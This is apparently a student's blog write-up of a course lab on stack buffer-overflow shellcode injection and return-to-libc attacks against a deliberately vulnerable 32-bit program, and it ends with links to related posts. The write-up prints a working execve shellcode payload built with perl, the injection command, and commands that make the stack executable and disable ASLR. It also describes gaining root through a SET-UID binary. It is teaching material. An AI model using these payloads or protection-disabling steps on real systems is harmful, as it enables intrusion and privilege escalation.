20145212罗天晨 注入shellcode实验及Retuen-to-libc实验
注入shellcode实验
实验步骤
一、准备一段shellcode

二、设置环境
- Bof攻击防御技术
1.从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
2.GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)
3.此时就需要手动设置环境,具体在终端中输入如下:
apt-cache search execstack
apt-get install execstack
execstack --help
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行

三、构造要注入的payload
- 1.Linux下有两种基本构造攻击buf的方法:
//缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
1.retaddr+nop+shellcode
2.nop+shellcode+retaddr
2.在终端中输入如下:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。3.打开一个新的终端窗口注入这段攻击buf,具体输入如下:
(cat input_shellcode;cat) | ./pwn1

4.从图中可以看出此时不知道该覆盖的地址是什么,当然是不成功的。这就意味着需要在另一个终端通过gdb调试确定返回地址。(具体如何在终端中运行不再赘述)

断在了ret的位置,也就是说,ret之后就跳到我们覆盖的retaddr那个地方了
此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车5.通过如下方式寻找需要输入的地址:

//看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd61c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd6206.回到另一个终端,将
input_shellcode修改如下:
perl -e 'print "A" x 32;print "\x20\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

成功了!!!
Retuen-to-libc实验
return-to-libc攻击是一种缓冲区溢出的变体攻击。这种攻击不需要一个栈就可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。
实验步骤
一、配置实验环境
- 1.在自己的虚拟机上输入命令安装一些用于编译32位C程序的东西,输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用 bash。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-devsudo apt-get install lib32readline-gplv2-dev
linux32
/bin/bash

- 2.关闭地址随机化:
sudo sysctl -w kernel.randomize_va_space=0

二、漏洞程序
- 1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:
- 2.我们还需要用到一个读取环境变量的程序:


三、攻击程序
1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

2.用刚才的getenvaddr程序获得BIN_SH地址:

3.利用gdb获得system和exit地址:

4.将找到的三个内存地址填写在exploit.c中:

5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:

6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:

四、总结
这次的shellcode注入实验是根据老师给出的步骤一步一步实现的,同时也顺利的跳入了老师挖的坑=。=...
跳坑的原因显然是我对于堆栈、地址的理解还不够透彻,没有注意到真正应该改成什么样的地址,今后的学习中我会通过更多的动手实践加深对此的理解。
20145212罗天晨 注入shellcode实验及Retuen-to-libc实验的更多相关文章
- 20145212罗天晨 逆向及Bof基础实践
20145212罗天晨<网络对抗>第1周学习总结--逆向及Bof基础实践 逆向及Bof基础实践 一.实践目标 1.运行原本不可访问的代码片段 2.强行修改程序执行流 3.以及注入运行任意代 ...
- 20145212 罗天晨 Web安全基础实践
一.实验后回答问题 (1)SQL注入攻击原理,如何防御 原理:SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据 ...
- 20145212罗天晨 WEB基础实践
实验问题回答 1.什么是表单 表单在网页中主要负责数据采集功能 一个表单有三个基本组成部分: 表单标签 表单域:包含了文本框.密码框.隐藏域.多行文本框.复选框.单选框.下拉选择框和文件上传框等 表单 ...
- 20145212 罗天晨 MSF基础应用
一.对exploit,payload,encode的理解 exploit是利用系统漏洞,相当于一个动态的过程. payload是攻击载荷,用于实现对漏洞的攻击,是实现漏洞攻击最核心的代码. encod ...
- 20145212 罗天晨 WEB登陆发贴及会话管理功能的实现
会话管理简介 Cookie: cookie常用于识别用户. cookie 是服务器留在用户计算机中的小文件,每当相同的计算机通过浏览器请求页面时,它同时会发送 cookie. 通过PHP能够创建并取回 ...
- 20145212 罗天晨 《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
恶意代码伪装技术实践 木马化正常软件. 啊哈--原本以为很复杂--然后我看了一下蔡野同学的博客,发现原理竟然如此简单-- 对原先生成病毒的代码稍作修改: 于是--把生成的后门软件改成骗人的名字:这里改 ...
- 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验
注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...
- 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验
20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...
- 20145332 拓展:注入shellcode实验
20145332卢鑫 拓展:注入shellcode实验 shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外, ...
随机推荐
- sql中rownumber()over()的用法
语法: ROW_NUMBER ( ) OVER ( [ PARTITION BY value_expression , ... [ n ] ] order_by_clause ) 通过语法可以看出 o ...
- Roadblocks--poj3255(次短路)
题目链接 求次短路的问题: dist[i][0]和dist[i][1]表示从起点1到i的距离和从起点n到i的距离: 次短路要比最短路大但小于其他路: 每条路1--n的距离都可以用dist[i][0] ...
- 洛谷 P4201 设计路线 [NOI2008] 树形dp
正解:树形dp 解题报告: 大概是第一道NOI的题目?有点激动嘻嘻 然后先放个传送门 先大概港下这题的题意是啥qwq 大概就是给一棵树,然后可以选若干条链把链上的所有边的边权变成0,但是这些链不能有交 ...
- hammerjs wabapp h5 触屏手势一网打尽
hammerjs官网 http://hammerjs.github.io/ 学习文章1 http://www.cnblogs.com/vajoy/p/4011723.html 学习文章2 htt ...
- 大数据智能SOC解决方案
- sed与grep正则
string editor 流编辑器 sed编辑器是一行一行的处理内容,正在处理的内容存放在缓冲区内,处理完后 按照选项的规定进行输出或者修改文件 option: -n 静默模式结合p可以只输出修 ...
- python-面向对象-11-异常
异常 目标 异常的概念 捕获异常 异常的传递 抛出异常 01. 异常的概念 程序在运行时,如果 Python 解释器 遇到 到一个错误,会停止程序的执行,并且提示一些错误信息,这就是 异常 程序停止执 ...
- Laravel和thinkphp的区别/优缺点
Laravel的设计思想是很先进的,非常适合应用各种开发模式TDD, DDD和BDD,作为使用者最多的php框架,它为你准备好了一切,composer是个php的未来.laravel最大的特点和处优秀 ...
- appstore加速审核通道
申请入口:https://developer.apple.com/contact/app-store/?topic=expedite
- [django]django的orm查询
实体 实体 出版社 category 作者 tag 书 文章 先学习一下基础的增删查改 django orm增删改查: https://www.cnblogs.com/iiiiiher/article ...